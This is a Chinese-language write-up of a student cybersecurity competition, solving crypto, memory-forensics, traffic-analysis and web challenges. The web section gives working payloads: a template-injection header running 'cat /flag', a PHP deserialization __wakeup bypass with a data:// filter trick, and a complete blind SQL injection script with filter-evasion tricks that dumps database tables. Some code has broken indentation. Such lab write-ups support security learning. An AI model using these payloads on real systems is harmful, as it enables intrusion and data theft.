全国大学生信息安全竞赛(新疆赛区)WP

which 发布于 2025-12-11 140 次阅读


全国大学生信息安全竞赛(新疆赛区)WP

CRYPTO

affine

wohz{k533q73q-t76t-9292-351w-h880t22q2q59}

a=3 b=7

flag{b622d02d-e03e-4545-268f-a771e55d5d64}

SomethingHidden

from Crypto.Util.number import long_to_bytes, isPrime
from hashlib import sha256
from Crypto.Cipher import AES

# --- Challenge Data ---
N = 29287941964093188883554358759962324766413054938509973020469060324897666596790911417785791718225662909407046748730700393511727164992638859309051914817752161453430071520197806236982668426788996148542614675962835327600646675114044776422291762895540351295488463620830840260895942085590293936010897487443334022180921068879759894357182300863216381540594965567845230665432808496498721899010296008077888600276230436453346416223766922153731558028227295502011211796080344786948543217682991981791223266548648600316048178386585096118093900539239292482498040472725870838971971059537341275594528418355973441717474777281448026845373
e = 27955266925253148642253678752829183603219107778520606980764762752995571036134821430889656665717477157214005599893648302567419024006700075224145901058864025471376122721606447684082747992022267965241792216735472384680654771240354932987171309705823754809028693606076338867464980753571886581376406114561483162250351593164007074977896197934437555326889625656047853373889179731769563558844917159374790171076366851539889349713510477985229970467404417110370407654250262525961760288684308272656639979945733821040592567089478937570171101226406294152472692793873319781044539193653344814998127081830989348128648490881576398235955

outputs = [
    (3205220094080592407592828125679505405222175350233807694327159593032969469579539804535020905896745919090265556507179288821213875752712326943938625398874083262608628666420762655582303641231925289465398823744770158764392477253388389480024069287363779774060962366992843006326211329071156343468269190434281421424221587984048575740789112158698868948466566947408953807967713643274889608573354692166180828636721319812054682845978388714126347955276139299995584288733190964976250581524403399583537399029174408442816250678567356095603425069263938872549246059702018186374731429179320660396979172676464090137034199876766815040549, 4831644744350799393765016099396882177026534773569532962146766169148481243322219737516506695852464031849695952207227141415079187438443873384079566512604202776962147357699367571125364213415800582067021480708275284860444744873611933615510520333222572461931300221867821081702084458292525283508482399395833410218592334630954773959254262941692220532586083298023976096784214039362483222310058451221948873959013103817332959309430450412106921677559864731324809944745039703799490755791317245753122131983084501003067118380162680898017587067862940816260310005852375433008408683639088699648954723722337562683163853590166299207882),
    (10223665720049500731665673770103917961793186693687648371672171897872352435447003168707921372495448171568308786361270844274614650508367480702414916432634701500942569012336282352568912820462024329259048798831366489477953163885962745990200563709834731868518742507641941828621899056783884909373008325439482906379351126150044191130243110199555815953195410189701922253411950464540623741254828469722487917152632951477621077376226540842930933084730079740736321515593713245055389579335748273149419361624409497735156695920380256756873465619561744004161764910755943356577122675253183293946422864924947394830590760908284180805653, 6022461415472339281836498790278755583726889448623920530347868182630937987521253477126939602533575565331657993511358069473757046630594242611137100942575346645763052742511258016344480503774775023629872360358298995380098714687236835234204193892762002768854579522920204073999133902681913826901342657210771151320309334953071731535713048675285675974744410502359479970589333783354881282915026585051250730890093253822846141777793849657061271396501904548945234830806282646236893655892167888170712944257063558285805501798738399575903576977831532203975392444095534068494054836142511588829555267892072625075416002302243176635324),
    (38295886401800770247937208725926281780443425977810381315056059604563712323892215369756043382931918604092036060639406709054651071621090310774115354952282617734839924719863747396452802997833397137971837803315063878192004294473556651925283669552605730995960381204942868510331336686033996535943375343952758789091959462318596236669589726125157492897857522812637457878020275467551375672236923393880594194964453929585538109959704846836439542984266313034272010738296189222642481431068045312778286597586289119135190665002893852930340193114169492386623439934950489147486565869065688389391266191081890052221792059016651759935, 22997295428814514195091139337373650893365094613018428287375171979263198804955694038921673706847017725112033894298965577877631026760694604442860104769929651081470274609617397037067997884566485822781893833508224191144921037000725886575812219990814743777146135558370440033727198066101727185074410043409716527519221297212798655733539022858296903864363604189024082966485173370094663250147084643430665337682727021661753415715552161602283717204286568751928695603206357216967106479737282869745702423639348584040558580768510604253083698350240121502964676110415110162800693161878015666130229334069872276017309750136299165288207)
]

ENCRYPTED_FLAG = b'|\x9aN\x16puZq\xb8R\xce\x84G\x06\xb0H\x91\xb4,\xd2\xba|\xac\x91\xbf"\xa7C\n\x82\xad\xa26s- 2\xc9[\xd5>\xa3\x81"t\xd2\x00"'

def rational_to_contfrac(x, y):
    """Convert a rational number x/y to its continued fraction representation."""
    quotients = []
    while y != 0:
        a = x // y
        quotients.append(a)
        x, y = y, x - a * y
    return quotients

def convergents_from_contfrac(frac):
    """Compute convergents from a continued fraction representation."""
    convergents = []
    n_prev, d_prev = 0, 1
    n_curr, d_curr = 1, 0

    for quotient in frac:
        n_next = quotient * n_curr + n_prev
        d_next = quotient * d_curr + d_prev
        convergents.append((n_next, d_next))
        n_prev, d_prev = n_curr, d_curr
        n_curr, d_curr = n_next, d_next

    return convergents

def find_secret_and_pads(X_values, convergents):
    """Find the secret S and pads using continued fraction convergents."""
    print("[*] Checking convergents...")

    for numerator, denominator in convergents:
        if not (500 < denominator.bit_length() < 520):
            continue

        candidate_S = X_values[0] // numerator

        for delta in range(-2, 3):
            test_S = candidate_S + delta
            if not isPrime(test_S):
                continue

            temp_pads = []
            valid = True

            for x_val in X_values:
                pad = x_val % test_S
                if pad.bit_length() == 511 and isPrime(pad):
                    temp_pads.append(pad)
                else:
                    valid = False
                    break

            if valid:
                print(f"[+] Found Secret S: {test_S}")
                print(f"[+] Recovered {len(temp_pads)} pads")
                return test_S, temp_pads

    return None, []

def decrypt_flag(pads, encrypted_data):
    """Decrypt the flag using recovered pads."""
    key_str = str(pads)
    print(f"[*] Key String Length: {len(key_str)} bytes")

    key_hash = sha256(key_str.encode()).digest()
    cipher = AES.new(key_hash, AES.MODE_ECB)

    try:
        decrypted = cipher.decrypt(encrypted_data)
        return decrypted
    except Exception as e:
        print(f"[-] Decryption error: {e}")
        return None

def main():
    """Main function to perform RSA attack and decrypt flag."""
    print("[*] Starting RSA attack using continued fractions...")

    X_values = [pow(ac, e, N) for bc, ac in outputs]
    print(f"[*] Computed {len(X_values)} X values")

    continued_fraction = rational_to_contfrac(X_values[0], X_values[1])
    convergents = convergents_from_contfrac(continued_fraction)
    print(f"[*] Generated {len(convergents)} convergents")

    secret_S, pads = find_secret_and_pads(X_values, convergents)

    if not pads:
        print("[-] Failed to recover pads. Attack unsuccessful.")
        return

    flag = decrypt_flag(pads, ENCRYPTED_FLAG)

    if flag:
        print(f"\n[+] Flag: {flag.decode('utf-8', errors='ignore')}")
    else:
        print("[-] Failed to decrypt flag.")

if __name__ == "__main__":
    main()

flag{f3b8d3c0-6f52-4b7d-9b9b-3c91ad7b4c42}

MISC

dUmP

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re

DUMP_FILE = "dUmP.DMP"

# 题目中在 dump 中出现的 XOR key
KEY = b"pyt0n_f0rEnsics_y0u_L1Ke_1t!"

# flag 固定前缀
PLAINTEXT_PREFIX = b"flag{"

def xor_bytes(data, key):
    """与 key 轮询 XOR"""
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

def main():
    print("[+] Loading dump file ...")
    with open(DUMP_FILE, "rb") as f:
        dump = f.read()

    print("[+] Searching for XOR‑encrypted prefix ...")

    # 加密后 flag{ 的前 5 个字节是什么?
    enc_prefix = bytes([PLAINTEXT_PREFIX[i] ^ KEY[i] for i in range(len(PLAINTEXT_PREFIX))])

    # 在整个 dump 中搜索这段 XOR 加密后的前缀
    candidates = []
    pos = dump.find(enc_prefix)
    while pos != -1:
        candidates.append(pos)
        pos = dump.find(enc_prefix, pos + 1)

    print(f"[+] Found {len(candidates)} possible encrypted blocks")

    for pos in candidates:
        # 从位置 pos 开始取 200 字节(足够包含 flag)
        block = dump[pos:pos+200]
        dec_block = xor_bytes(block, KEY)

        try:
            txt = dec_block.decode("utf-8")
        except:
            continue

        if "flag{" in txt:
            print("[+] Possible plaintext fragment found:")
            print(txt)

            # 提取 flag{...}
            m = re.search(r"flag\{.*?\}", txt)
            if m:
                print("\n====================")
                print(" FLAG FOUND:")
                print(" " + m.group(0))
                print("====================")
                return

    print("[-] No flag found!")

if __name__ == "__main__":
    main()
flag{d1D_y0U_l1KE_tHe_PyTh0n_MEm0rY_f0Rens1Cs}

yijian霜寒十四州

! frame contains "404" and http and ! frame contains "HEAD" 

可以看到类似凯撒密码的加密后门流量

image-20251211093437094

ai提取脚本进行解密

HTTP/1.1 200 OK
Date: Mon, 22 Apr 2024 07:18:42 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 175
Connection: close
Content-Type: text/html

[Response] Body (decompressed):
80324Guvf gevc yrsg fbzr pbagrag gung hfrf gur fnzr rapbqre nf gur Gebwna ubefr,OHQOPLNjRWfb0BMlmGlIra7pDAm9dUp/33FTqq1DlduIP2DDH8qWaEt7/jL=
2166rrq9n
/ebbg
0psrq167p
5a9ae81
[Response] Body ROT13:
80324This trip left some content that uses the same encoder as the Trojan horse,BUDBCYAwEJso0OZyzTyVen7cQNz9qHc/33SGdd1QyqhVC2QQU8dJnRg7/wY=
2166eed9a
/root
0cfed167c
5n9nr81
import base64
import zlib

b64 = 'BUDBCYAwEJso0OZyzTyVen7cQNz9qHc/33SGdd1QyqhVC2QQU8dJnRg7/wY='

try:
    # 第一步:Base64 解码
    decoded = base64.b64decode(b64)
    print(f"Base64 解码后的字节: {decoded}")
    print(f"长度: {len(decoded)}")

    # 第二步:DEFLATE 解压
    try:
        # 尝试标准 zlib 解压
        decompressed = zlib.decompress(decoded)
        result = decompressed.decode('utf-8', errors='ignore')
        print(f"\n使用 zlib.decompress 解压成功:")
        print(f"结果: {result}")
    except Exception as e1:
        print(f"\nzlib.decompress 失败: {e1}")

        # 尝试使用 -zlib.MAX_WBITS (raw deflate)
        try:
            decompressed = zlib.decompress(decoded, -zlib.MAX_WBITS)
            result = decompressed.decode('utf-8', errors='ignore')
            print(f"\n使用 raw deflate 解压成功:")
            print(f"结果: {result}")
        except Exception as e2:
            print(f"raw deflate 也失败: {e2}")

            # 尝试 gzip
            try:
                decompressed = zlib.decompress(decoded, zlib.MAX_WBITS | 16)
                result = decompressed.decode('utf-8', errors='ignore')
                print(f"\n使用 gzip 解压成功:")
                print(f"结果: {result}")
            except Exception as e3:
                print(f"gzip 也失败: {e3}")
                print("\n直接输出 Base64 解码后的内容:")
                print(decoded)

except Exception as e:
    print(f"Base64 解码失败: {e}")

# 尝试 Trojan horse 编码(ROT13 变体)
print("\n" + "="*50)
print("尝试 Trojan horse 编码分析...")
print("="*50)

# Trojan horse 可能是一种替换密码,让我们尝试不同的解码方式
import string

def rot13(text):
    """ROT13 编码"""
    result = []
    for char in text:
        if char.isalpha():
            if char.isupper():
                result.append(chr((ord(char) - ord('A') + 13) % 26 + ord('A')))
            else:
                result.append(chr((ord(char) - ord('a') + 13) % 26 + ord('a')))
        else:
            result.append(char)
    return ''.join(result)

# 尝试对 Base64 字符串进行 ROT13
rot13_b64 = rot13(b64)
print(f"\nROT13 后的 Base64: {rot13_b64}")

try:
    decoded_rot13 = base64.b64decode(rot13_b64)
    print(f"ROT13 后解码成功: {decoded_rot13}")
except:
    print("ROT13 后无法 Base64 解码")

WEB

loginsimulator

模板注入

/login 并带上恶意的IP请求头

IP: 127.{__import__("os").popen("cat /flag").read()}

获取到的cookie加到请求访问/admin

flag{YZLFm1WYDbmXC6dmGiQo4WhBrZ8CfIxK}

tricks_bucket

反序列化绕过:使用 C-Style 序列化格式
URL 过滤绕过:使用 data:// 协议伪装
<?php
class tricksbucket{
    public $wakeup=False;
    public function __destruct(){
        if ($this->wakeup===False) {
            echo "You are in";
            if (isset($_GET['url'])){
                $url = $_GET['url'];
                if (strpos($url,"flag")===false || strpos($url,'base64')!==false || strpos($url,'http')!==false) {
                    exit("no flag , no base , no http");
                }
                $contents = file_get_contents($_GET['url']);
                if (strpos($contents,"flag")!==false) {
                    exit("contents has flag");
                }
                if($contents==="get"){
                    echo "flag{***}";    
                }

            }
        }else{
            exit("No~ you disturb me");
        }

    }

    public function __wakeup(){
        $this->wakeup=True;
    }
}
if (isset($_GET['exp'])) {
    unserialize($_GET['exp']);
}else{
    highlight_file("hint.php");
}

payload

exp
C:12:"tricksbucket":0:{}
这是 C-Style 序列化格式,伪装成实现了 Serializable 接口
可以绕过 PHP 的 __wakeup()__术方法__
url
data:text/plain;flag=1,get
使用 data:// 协议
在 MIME 类型参数中插入 "flag" 字符串来绕过 strpos() 检查
最后的 "get" 是实际要读取的内容
?exp=C:12:"tricksbucket":0:{}&url=data:text/plain;flag=1,get

Easysql

手测黑名单

hex,ascii,union,substr,group_concat,substring,sleep,benchmark,GET_LOCK,and,regexp,等于号。单引号,双引号,大于号,小于号,逗号。不区分大小写

使用%26%26替换and,使用//替换空格。**

发包不自动url编码,流量代理到bp

import requests
import sys
import time
import os

URL = "http://web-92ffd6341a.challenge.xctf.org.cn/feedback/view"
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
LOG_FILE = os.path.join(os.path.dirname(__file__), "blind_log.txt")
def log(*args):
    s = " ".join(str(a) for a in args)
    try:
        with open(LOG_FILE, "a", encoding="utf-8") as f:
            f.write(s + "\n")
    except Exception:
        pass
    print(s)
def send(payload, timeout=8):
    data = "id=" + payload
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    try:
        r = requests.post(URL, data=data, headers=headers, proxies=PROXIES, timeout=timeout)
    except Exception:
   try:
            r = requests.post(URL, data=data, headers=headers, timeout=timeout)
        except Exception:
            return -3
    t = r.text.lower()
    if "success" in t:
        return 1
    if "fail" in t:
        return 0
    if "internal server error" in t:
        return -1
    return -2
def test(expr):
    payload = "1%26%26(" + expr + ")"
    return send(payload)
def tohex(s):
    return "0x" + s.encode("utf-8").hex()
CHARS = "abcdefghijklmnopqrstuvwxyz0123456789{}_:-./\\@#$%^&*()[]<>|=+!,;`~ABCDEFGHIJKLMNOPQRSTUVWXYZ" 
def guess_char(get_expr, pos):
    for ch in CHARS:
        hx = "0x" + ch.encode("utf-8").hex()
        expr = "MID(" + get_expr + "/**/FROM/**/" + str(pos) + "/**/FOR/**/1)/**/LIKE/**/" + hx
        r = test(expr)
        if r == 1:
            return ch
        if r == -1:
      return None
    return None
def extract_string(get_expr, max_len=256):
    out = []
    for pos in range(1, max_len + 1):
        ch = guess_char(get_expr, pos)
        if not ch:
            break
        out.append(ch)
        if ch == "\n":
            break
    return "".join(out)
def get_database_name():
    return extract_string("database()")
def get_table_name(idx):
    sub = "(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/LIKE/**/database()/**/limit/**/1/**/offset/**/" + str(idx) + ")"
    return extract_string(sub)
def list_tables(limit=30):
    res = []
    for i in range(limit):
        name = get_table_name(i)
        if not name:
            break
        res.append(name)
    return res
def get_column_name(table, idx):
    table_hex = tohex(table)
    sub = "(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/LIKE/**/database()/**/%26%26/**/table_name/**/LIKE/**/" + table_hex + "/**/limit/**/1/**/offset/**/" + str(idx) + ")"
    return extract_string(sub)
def list_columns(table, limit=30):
    res = []
    for i in range(limit):
        name = get_column_name(table, i)
        if not name:
            break
        res.append(name)
    return res
def extract_cell(table, column, row_index=0, max_len=1024):
    sub = "(select/**/" + column + "/**/from/**/" + table + "/**/limit/**/1/**/offset/**/" + str(row_index) + ")"
    return extract_string(sub, max_len=max_len)
def find_flag_with_tables(tables):
    for t in tables:
        cols = list_columns(t, limit=50)
        target_cols = cols
        prioritized = [c for c in cols if "flag" in c.lower()]
        if prioritized:
            target_cols = prioritized + [c for c in cols if c not in prioritized]
        for c in target_cols:
            val = extract_cell(t, c, 0, 2048)
            if val:
           if "flag{" in val.lower() or "ctf{" in val.lower() or "xctf{" in val.lower():
                    return t, c, val
    return None, None, None
def main():
    log("start")
    try:
        db = get_database_name()
    except Exception as e:
        log("db_error", str(e))
        db = ""
    log("mid")
    log("database:", db)
    try:
        tables = list_tables(limit=100)
    except Exception as e:
        log("tables_error", str(e))
        tables = []
    log("tables:", tables)
    target = None
    for t in tables:
        if "flag" in t.lower():
            target = t
            break
    if not target and tables:
        target = tables[0]
    if target:
        try:
            cols = list_columns(target, limit=100)
        except Exception as e:
            log("columns_error", str(e))
     cols = []
        log("columns:", {target: cols})
    t, c, v = find_flag_with_tables(tables if tables else [])
    if v:
        log("FLAG:", v)
        return
    if target and cols:
        for col in cols:
            val = extract_cell(target, col, 0, 2048)
            if val:
                log("candidate:", target, col, val)
    log("done")
if __name__ == "__main__":
    main()
POST /feedback/view HTTP/1.1
Host: web-92ffd6341a.challenge.xctf.org.cn
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 417

id=1%26%26(CASE/**/WHEN/**/((LENGTH(BINARY/**/MID((select/**/flllllllag/**/from/**/f1111ag/**/limit/**/1/**/offset/**/0)/**/FROM/**/1/**/FOR/**/38))/**/IN/**/(38)/**/%26%26/**/BINARY/**/MID((select/**/flllllllag/**/from/**/f1111ag/**/limit/**/1/**/offset/**/0)/**/FROM/**/1/**/FOR/**/38)/**/IN/**/(0x666c61677b73475867476d724f6a35534870775170434745704968727338324c6b414962627d)))/**/THEN/**/1/**/ELSE/**/(1/0)/**/END)